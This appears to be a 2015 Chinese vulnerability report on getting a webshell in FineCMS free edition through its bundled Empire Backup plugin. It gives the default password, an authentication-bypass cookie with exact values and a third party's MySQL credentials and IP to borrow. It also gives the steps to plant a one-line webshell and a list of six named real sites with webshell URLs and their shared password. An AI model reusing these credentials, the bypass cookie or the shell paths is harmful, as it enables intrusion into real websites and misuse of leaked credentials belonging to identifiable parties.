FineCMS免费版无限制GETshell

### 简要描述： 66666666666666FineCMS免费版无限制GETshell ### 详细说明： http://www.jwss.cc/?q=Powered%20by%20FineCMS%E5%85%8D%E8%B4%B9%E7%89%88&pn=100 案例：http://www.luyoutu.com/ http://www.qianjin998.com/ http://dery.cn/ http://www.xiaomixifan.cn/ http://www.yyxly.com/ http://mylhealth.com/ /plugins/mbak/ebak/index.php 默认123456 即使认证码不默认也没关系。 这个帝国备份王是2010年开源的 存在万能cookie 下面给出万能cookie(key:value): ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6 ebak_bakrnd:35y5cCnnA4Kh ebak_bakusername:admin ebak_baklogintime:4070883661 但因为FineCMS免费版在安装时连有帝国备份王这回事都没提，所以是默认密码123456. 进去后第一次要配置。 [WooYun: 华数数字传媒某管理软件弱口令(直到数据库)](http://www.wooyun.org/bugs/wooyun-2015-0110615) 这里有个说修复了的mysql实际上没修。 用户名： wasu 密码：wasu!@#web 123.103.61.153:3306 借用一个。 配置好后进入/plugins/mbak/ebak/left.php 瞎逼备份一个。 然后进入/plugins/mbak/ebak/RepFiletext.php [<img src="https://images.seebug.org/upload/201506/202223438cf81861dc87439c8cb93291ee1c8885.jpg" alt="请问.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/202223438cf81861dc87439c8cb93291ee1c8885.jpg) 替换完后得到 /plugins/mbak/ebak/bdata/备份文件夹名/config.php 一句话shell ### 漏洞证明： shell：http://www.yyxly.com/plugins/mbak/ebak/bdata/wasu_20150620142629/config.php（有防火墙连接不上） http://www.luyoutu.com/plugins/mbak/ebak/bdata/1/config.php http://dery.cn/plugins/mbak/ebak/bdata/wasu_20150620100649/config.php http://www.xiaomixifan.cn//plugins/mbak/ebak/bdata/wasu_20150620221125/config.php http://www.qianjin998.com/plugins/mbak/ebak/bdata/wasu_20150620222035/config.php http://mylhealth.com/plugins/mbak/ebak/bdata/wasu_20150620223318/config.php 以上webshell密码皆为：1281441136